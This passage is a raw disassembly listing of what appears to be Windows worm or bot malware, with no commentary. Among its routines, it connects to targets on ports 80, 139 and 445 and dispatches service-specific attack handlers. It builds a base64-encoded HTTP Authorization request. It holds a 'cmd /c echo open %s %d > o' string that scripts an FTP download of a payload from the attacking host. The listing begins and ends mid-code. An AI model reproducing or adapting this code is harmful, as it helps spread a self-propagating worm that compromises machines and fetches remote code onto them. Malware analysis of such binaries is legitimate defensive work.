[ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4CB66C loc_40CEBC: ; CODE XREF: sub_40CE41+69j pop edi pop esi leave retn sub_40CE41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEC0 proc near ; CODE XREF: sub_40CF05+81p ; sub_40CF05+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4CB650 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4CB6A4 cmp eax, 4 jz short loc_40CEEA xor al, al leave retn ; --------------------------------------------------------------------------- loc_40CEEA: ; CODE XREF: sub_40CEC0+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4CB6A4 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40CEC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF05 proc near ; CODE XREF: sub_40CFDF+48p ; ___:0040D453p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41B4D5 mov esi, eax pop ecx test esi, esi jnz short loc_40CF2E xor al, al jmp loc_40CFDA ; --------------------------------------------------------------------------- loc_40CF2E: ; CODE XREF: sub_40CF05+20j push ebx push 0 push esi call sub_41B590 push 2Fh push offset dword_4323D4 push esi call sub_41C310 push 8 lea eax, [esi+31h] push offset dword_432404 push eax mov [esi+2Fh], di call sub_41C310 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_41C310 push 6 add ebx, edi push offset dword_4CE36C push ebx call sub_41C310 mov ebx, [ebp+arg_0] push 85h push offset dword_43234C push ebx call sub_40CEC0 add esp, 48h test al, al jnz short loc_40CF96 loc_40CF92: ; CODE XREF: sub_40CF05+B5j xor bl, bl jmp short loc_40CFD1 ; --------------------------------------------------------------------------- loc_40CF96: ; CODE XREF: sub_40CF05+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE41 push [ebp+var_4] push esi push ebx call sub_40CEC0 add esp, 1Ch test al, al jz short loc_40CF92 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE41 add esp, 10h mov bl, 1 loc_40CFD1: ; CODE XREF: sub_40CF05+8Fj push esi call sub_41B0B1 pop ecx mov al, bl loc_40CFDA: ; CODE XREF: sub_40CF05+24j pop edi pop esi pop ebx leave retn sub_40CF05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CFDF proc near ; CODE XREF: ___:0040D439p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_432410 push [ebp+arg_0] nop call near ptr 71AB1AF4h cmp eax, 48h jnz short loc_40D01A push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40CE41 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40D01A cmp [ebp+var_20], 82h jz short loc_40D01E loc_40D01A: ; CODE XREF: sub_40CFDF+1Bj ; sub_40CFDF+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D01E: ; CODE XREF: sub_40CFDF+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CF05 add esp, 0Ch leave retn sub_40CFDF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D031 proc near ; CODE XREF: sub_40D07D+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_427688 call sub_41C798 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_427680 fstp [esp+10h+var_10] call sub_41C679 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41C798 inc eax leave retn sub_40D031 endp ; =============== S U B R O U T I N E ======================================= sub_40D07D proc near ; CODE XREF: sub_40D21F+24p var_40 = qword ptr -40h mov eax, offset loc_426DF7 call sub_41CC64 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_40D6B4 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_40D031 cmp [ebp-2Ch], eax pop ecx jnb short loc_40D0BF push edi push eax lea ecx, [ebp-38h] call sub_40D62F loc_40D0BF: ; CODE XREF: sub_40D07D+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_40D1DC mov ebx, [ebp+10h] loc_40D0CE: ; CODE XREF: sub_40D07D+156j cmp dword ptr [ebp+10h], 3 jb short loc_40D0D8 push 3 jmp short loc_40D0EA ; --------------------------------------------------------------------------- loc_40D0D8: ; CODE XREF: sub_40D07D+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40D0E2 push 2 jmp short loc_40D0EA ; --------------------------------------------------------------------------- loc_40D0E2: ; CODE XREF: sub_40D07D+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_40D0EB push 1 loc_40D0EA: ; CODE XREF: sub_40D07D+59j ; sub_40D07D+63j pop ebx loc_40D0EB: ; CODE XREF: sub_40D07D+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_427698 fstp [esp+40h+var_40] call sub_41C7BF pop ecx pop ecx call sub_41C798 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40D12A mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40D12A: ; CODE XREF: sub_40D07D+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40D198 add [ebp-18h], eax loc_40D17C: ; CODE XREF: sub_40D07D+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_43245C[eax] push eax push 1 call sub_40D4B1 inc esi cmp esi, [ebp-1Ch] jb short loc_40D17C loc_40D198: ; CODE XREF: sub_40D07D+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40D1B6 push dword ptr [ebp+14h] call sub_41AFE0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_40D50A mov [ebp-18h], edi loc_40D1B6: ; CODE XREF: sub_40D07D+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40D1D0 sub esi, [ebp-1Ch] loc_40D1C1: ; CODE XREF: sub_40D07D+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40D4B1 dec esi jnz short loc_40D1C1 loc_40D1D0: ; CODE XREF: sub_40D07D+13Fj cmp [ebp+10h], edi ja loc_40D0CE push 1 pop ebx loc_40D1DC: ; CODE XREF: sub_40D07D+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_40D6B4 push dword_427690 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_40D561 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_40D6B4 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40D07D endp ; =============== S U B R O U T I N E ======================================= sub_40D21F proc near ; CODE XREF: ___:0040D41Cp mov eax, offset loc_426E14 call sub_41CC64 sub esp, 10h push ebx push esi push edi push offset dword_43D808 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_40D07D mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_41B4D5 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40D269 xor bl, bl jmp short loc_40D2AD ; --------------------------------------------------------------------------- loc_40D269: ; CODE XREF: sub_40D21F+44j mov ecx, [ebp-18h] mov eax, offset dword_4276A0 cmp ecx, ebx jnz short loc_40D277 mov ecx, eax loc_40D277: ; CODE XREF: sub_40D21F+54j cmp [ebp+18h], ebx jz short loc_40D27F mov eax, [ebp+18h] loc_40D27F: ; CODE XREF: sub_40D21F+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41B980 add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_4CB6A4 cmp eax, esi jz short loc_40D2A4 xor bl, bl jmp short loc_40D2A6 ; --------------------------------------------------------------------------- loc_40D2A4: ; CODE XREF: sub_40D21F+7Fj mov bl, 1 loc_40D2A6: ; CODE XREF: sub_40D21F+83j push edi call sub_41B0B1 pop ecx loc_40D2AD: ; CODE XREF: sub_40D21F+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_40D6B4 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_40D6B4 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D21F endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_432608 push eax call sub_41C310 add esp, 0Ch mov eax, offset byte_42910C push eax push eax movzx eax, word ptr dword_4CB390 push eax push dword ptr [ebp+8] call sub_40AC10 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-391h] push 400h push eax call sub_41B980 add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_4324A0 push eax call sub_40CADB xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40D378 xor eax, eax jmp loc_40D4A4 ; --------------------------------------------------------------------------- loc_40D378: ; CODE XREF: ___:0040D36Fj mov [ebp-0Ch], esi loc_40D37B: ; CODE XREF: ___:0040D47Bj test esi, esi jnz loc_40D481 push 6 push 1 push 2 call near ptr 71AB3C22h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40D469 xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_4CB654 mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_4CB694 mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_4CB5FC cmp eax, 0FFFFFFFFh jz loc_40D45E cmp dword ptr [ebp+0A8h], 50h jnz short loc_40D426 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_40D6B4 lea eax, [ebp+0Ch] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_40D6F0 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D21F add esp, 1Ch jmp short loc_40D45B ; --------------------------------------------------------------------------- loc_40D426: ; CODE XREF: ___:0040D3E4j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40D440 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CFDF jmp short loc_40D458 ; --------------------------------------------------------------------------- loc_40D440: ; CODE XREF: ___:0040D430j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40D45E push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CF05 loc_40D458: ; CODE XREF: ___:0040D43Ej add esp, 0Ch loc_40D45B: ; CODE XREF: ___:0040D424j movzx esi, al loc_40D45E: ; CODE XREF: ___:0040D3D7j ; ___:0040D44Aj push ebx call dword_4CB6EC test esi, esi jnz short loc_40D474 loc_40D469: ; CODE XREF: ___:0040D394j push 3E8h nop call near ptr 2680000h loc_40D474: ; CODE XREF: ___:0040D467j inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40D37B loc_40D481: ; CODE XREF: ___:0040D37Dj lea ecx, [ebp-8] call sub_40C900 test esi, esi jz short loc_40D4A2 mov eax, [ebp+0B0h] shl eax, 6 inc dword_431B08[eax] lea eax, dword_431B08[eax] loc_40D4A2: ; CODE XREF: ___:0040D48Bj mov eax, esi loc_40D4A4: ; CODE XREF: ___:0040D373j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426DD8 loc_40D4A9: ; CODE XREF: sub_426DD8+3j ; ___:00426DF1j ... push 1 call sub_40D6B4 retn ; END OF FUNCTION CHUNK FOR sub_426DD8 ; =============== S U B R O U T I N E ======================================= sub_40D4B1 proc near ; CODE XREF: sub_40D07D+110p ; sub_40D07D+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_427690 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D4CB call sub_42669A loc_40D4CB: ; CODE XREF: sub_40D4B1+13j test ebx, ebx jbe short loc_40D502 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D62F test al, al jz short loc_40D502 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_41B590 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D502: ; CODE XREF: sub_40D4B1+1Cj ; sub_40D4B1+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D4B1 endp ; =============== S U B R O U T I N E ======================================= sub_40D50A proc near ; CODE XREF: sub_40D07D+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_427690 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D524 call sub_42669A loc_40D524: ; CODE XREF: sub_40D50A+13j test ebx, ebx jbe short loc_40D559 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D62F test al, al jz short loc_40D559 mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_41C310 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D559: ; CODE XREF: sub_40D50A+1Cj ; sub_40D50A+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D50A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D561 proc near ; CODE XREF: sub_40D07D+17Cp ; sub_4265B0+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40D579 call sub_426573 loc_40D579: ; CODE XREF: sub_40D561+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40D58B mov esi, [ebp+arg_8] loc_40D58B: ; CODE XREF: sub_40D561+25j cmp edi, ebx jnz short loc_40D5AD push dword_427690 add esi, ecx mov ecx, edi push esi call sub_40D725 push [ebp+arg_4] mov ecx, edi push 0 call sub_40D725 jmp short loc_40D626 ; --------------------------------------------------------------------------- loc_40D5AD: ; CODE XREF: sub_40D561+2Cj test esi, esi jbe short loc_40D5F0 cmp esi, eax jnz short loc_40D5F0 mov eax, [ebx+4] test eax, eax jnz short loc_40D5C1 mov eax, offset dword_4276A0 loc_40D5C1: ; CODE XREF: sub_40D561+59j cmp byte ptr [eax-1], 0FEh jnb short loc_40D5F0 push 1 mov ecx, edi call sub_40D6B4 mov eax, [ebx+4] test eax, eax jnz short loc_40D5DC mov eax, offset dword_4276A0 loc_40D5DC: ; CODE XREF: sub_40D561+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40D626 ; --------------------------------------------------------------------------- loc_40D5F0: ; CODE XREF: sub_40D561+4Ej ; sub_40D561+52j ... push 1 push esi mov ecx, edi call sub_40D62F test al, al jz short loc_40D626 mov eax, [ebx+4] test eax, eax jnz short loc_40D60A mov eax, offset dword_4276A0 loc_40D60A: ; CODE XREF: sub_40D561+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_41C310 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_40D626: ; CODE XREF: sub_40D561+4Aj ; sub_40D561+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40D561 endp ; =============== S U B R O U T I N E ======================================= sub_40D62F proc near ; CODE XREF: sub_40D07D+3Dp ; sub_40D4B1+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40D641 call sub_42669A loc_40D641: ; CODE XREF: sub_40D62F+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40D66A mov al, [ecx-1] cmp al, dl jz short loc_40D66A cmp al, 0FFh jz short loc_40D66A cmp edi, edx jnz short loc_40D6A5 dec al push edx mov [ecx-1], al loc_40D65F: ; CODE XREF: sub_40D62F+47j mov ecx, esi call sub_40D6B4 loc_40D666: ; CODE XREF: sub_40D62F+4Bj ; sub_40D62F+52j xor al, al jmp short loc_40D6AF ; --------------------------------------------------------------------------- loc_40D66A: ; CODE XREF: sub_40D62F+19j ; sub_40D62F+20j ... cmp edi, edx jnz short loc_40D683 cmp [esp+8+arg_4], dl jz short loc_40D678 push 1 jmp short loc_40D65F ; --------------------------------------------------------------------------- loc_40D678: ; CODE XREF: sub_40D62F+43j cmp ecx, edx jz short loc_40D666 mov [esi+8], edx mov [ecx], dl jmp short loc_40D666 ; --------------------------------------------------------------------------- loc_40D683: ; CODE XREF: sub_40D62F+3Dj cmp [esp+8+arg_4], dl jz short loc_40D6A0 mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40D695 cmp eax, edi jnb short loc_40D6AD loc_40D695: ; CODE XREF: sub_40D62F+60j push 1 mov ecx, esi call sub_40D6B4 jmp short loc_40D6A5 ; --------------------------------------------------------------------------- loc_40D6A0: ; CODE XREF: sub_40D62F+58j cmp [esi+0Ch], edi jnb short loc_40D6AD loc_40D6A5: ; CODE XREF: sub_40D62F+28j ; sub_40D62F+6Fj push edi mov ecx, esi call sub_40D78C loc_40D6AD: ; CODE XREF: sub_40D62F+64j ; sub_40D62F+74j mov al, 1 loc_40D6AF: ; CODE XREF: sub_40D62F+39j pop edi pop esi retn 8 sub_40D62F endp ; =============== S U B R O U T I N E ======================================= sub_40D6B4 proc near ; CODE XREF: sub_40D07D+1Fp ; sub_40D07D+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40D6E0 mov eax, [esi+4] test eax, eax jz short loc_40D6E0 lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40D6D9 cmp al, 0FFh jz short loc_40D6D9 dec al mov [ecx], al jmp short loc_40D6E0 ; --------------------------------------------------------------------------- loc_40D6D9: ; CODE XREF: sub_40D6B4+19j ; sub_40D6B4+1Dj push ecx call sub_41CC83 pop ecx loc_40D6E0: ; CODE XREF: sub_40D6B4+8j ; sub_40D6B4+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_40D6B4 endp ; =============== S U B R O U T I N E ======================================= sub_40D6F0 proc near ; CODE XREF: ___:0040D410p ; sub_40D849+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_40D62F test al, al jz short loc_40D71E push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_41C310 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D71E: ; CODE XREF: sub_40D6F0+12j mov eax, esi pop edi pop esi retn 8 sub_40D6F0 endp ; =============== S U B R O U T I N E ======================================= sub_40D725 proc near ; CODE XREF: sub_40D561+39p ; sub_40D561+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40D738 call sub_426573 loc_40D738: ; CODE XREF: sub_40D725+Cj mov ecx, edi call sub_40D849 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40D74E mov ebx, eax loc_40D74E: ; CODE XREF: sub_40D725+25j test ebx, ebx jbe short loc_40D784 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_41CC90 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40D62F test al, al jz short loc_40D784 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40D784: ; CODE XREF: sub_40D725+2Bj ; sub_40D725+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40D725 endp ; =============== S U B R O U T I N E ======================================= sub_40D78C proc near ; CODE XREF: sub_40D62F+79p mov eax, offset loc_426E20 call sub_41CC64 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40D7B2 mov edi, [ebp+8] loc_40D7B2: ; CODE XREF: sub_40D78C+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_40D7BF xor eax, eax loc_40D7BF: ; CODE XREF: sub_40D78C+2Fj push eax call sub_41CFC5 pop ecx mov [ebp+8], eax jmp short loc_40D7F0 ; --------------------------------------------------------------------------- mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40D7DA xor eax, eax loc_40D7DA: ; CODE XREF: sub_40D78C+4Aj push eax call sub_41CFC5 mov [ebp+8], eax pop ecx mov eax, offset loc_40D7EA retn ; --------------------------------------------------------------------------- loc_40D7EA: ; DATA XREF: sub_40D78C+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40D7F0: ; CODE XREF: sub_40D78C+3Dj mov eax, [esi+8] test eax, eax jbe short loc_40D80E cmp eax, edi jbe short loc_40D7FD mov eax, edi loc_40D7FD: ; CODE XREF: sub_40D78C+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_41C310 add esp, 0Ch loc_40D80E: ; CODE XREF: sub_40D78C+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_40D6B4 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40D82E mov edi, ebx loc_40D82E: ; CODE XREF: sub_40D78C+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40D78C endp ; =============== S U B R O U T I N E ======================================= sub_40D849 proc near ; CODE XREF: sub_40D725+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40D876 mov al, [esi-1] test al, al jz short loc_40D876 cmp al, 0FFh jz short loc_40D876 push 1 call sub_40D6B4 push esi call sub_41AFE0 pop ecx push eax push esi mov ecx, edi call sub_40D6F0 loc_40D876: ; CODE XREF: sub_40D849+9j ; sub_40D849+10j ... pop edi pop esi retn sub_40D849 endp ; =============== S U B R O U T I N E ======================================= sub_40D879 proc near ; DATA XREF: ___:00429008o test byte_4DBC74, 1 jnz short loc_40D889 or byte_4DBC74, 1 loc_40D889: ; CODE XREF: sub_40D879+7j jmp $+5 push offset nullsub_1 call sub_41D040 pop ecx retn sub_40D879 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40D89B proc near ; DATA XREF: ___:0042900Co jmp $+5 sub_40D89B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40D8A0 proc near mov eax, dword_4328C0 add eax, 6 mov dword_4CE374, eax retn sub_40D8A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D8AE proc near ; CODE XREF: sub_40D8AE+D0p ; ___:0040DE0Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_40D8C2 or [ebp+arg_7], 1 jmp short loc_40D8C6 ; --------------------------------------------------------------------------- loc_40D8C2: ; CODE XREF: sub_40D8AE+Cj and [ebp+arg_7], 0FEh loc_40D8C6: ; CODE XREF: sub_40D8AE+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40D8EA or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_40D8FC ; --------------------------------------------------------------------------- loc_40D8EA: ; CODE XREF: sub_40D8AE+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_40D8FC: ; CODE XREF: sub_40D8AE+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_41B4D5 test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_40D995 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] nop call near ptr 26F0000h test eax, eax jz short loc_40D98C mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40D98C push [ebp+arg_20] call sub_41B0B1 cmp [ebp+arg_2B], 0 pop ecx jz short loc_40D988 push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_40D8AE add esp, 2Ch jmp short loc_40D997 ; --------------------------------------------------------------------------- loc_40D988: ; CODE XREF: sub_40D8AE+B3j mov al, 1 jmp short loc_40D997 ; --------------------------------------------------------------------------- loc_40D98C: ; CODE XREF: sub_40D8AE+9Cj ; sub_40D8AE+A4j push [ebp+arg_20] call sub_41B0B1 pop ecx loc_40D995: ; CODE XREF: sub_40D8AE+61j xor al, al loc_40D997: ; CODE XREF: sub_40D8AE+D8j ; sub_40D8AE+DCj pop edi pop esi pop ebx leave retn sub_40D8AE endp ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ‹ db 0ECh ; ì db 0B8h ; ¸ db 0DCh ; Ü db 60h ; ` db 0 db 0 db 0E8h ; è db 77h ; w db 0E1h ; á db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 68h ; h db 0B4h ; ´ db 0DBh ; Û db 42h ; B db 0 db 0FFh db 75h ; u db 8 db 0E8h ; è db 0A7h ; § db 0F7h ; ÷ db 0 db 0 db 59h ; Y db 33h ; 3 db 0DBh ; Û db 85h ; … db 0C0h ; À db 59h ; Y db 74h ; t db 4Eh ; N db 0FFh db 75h ; u db 8 db 0BEh ; ¾ db 0 db 20h db 0 db 0 db 8Dh ; db 85h ; … db 24h ; $ db 0DFh ; ß db 0FFh db 0FFh db 68h ; h db 3Ch ; < db 29h ; ) db 43h ; C db 0 db 56h ; V db 50h ; P db 0E8h ; è db 0A5h ; ¥ db 0DFh ; ß db 0 db 0 db 6Ah ; j db 20h db 8Dh ; db 85h ; … db 24h ; $ db 0FFh db 0FFh db 0FFh db 53h ; S db 50h ; P db 0E8h ; è db 0A6h ; ¦ db 0DBh ; Û db 0 db 0 db 8Dh ; db 85h ; … db 24h ; $ db 0DFh ; ß db 0FFh db 0FFh db 83h ; ƒ db 0C4h ; Ä db 1Ch db 89h ; ‰ db 85h ; … db 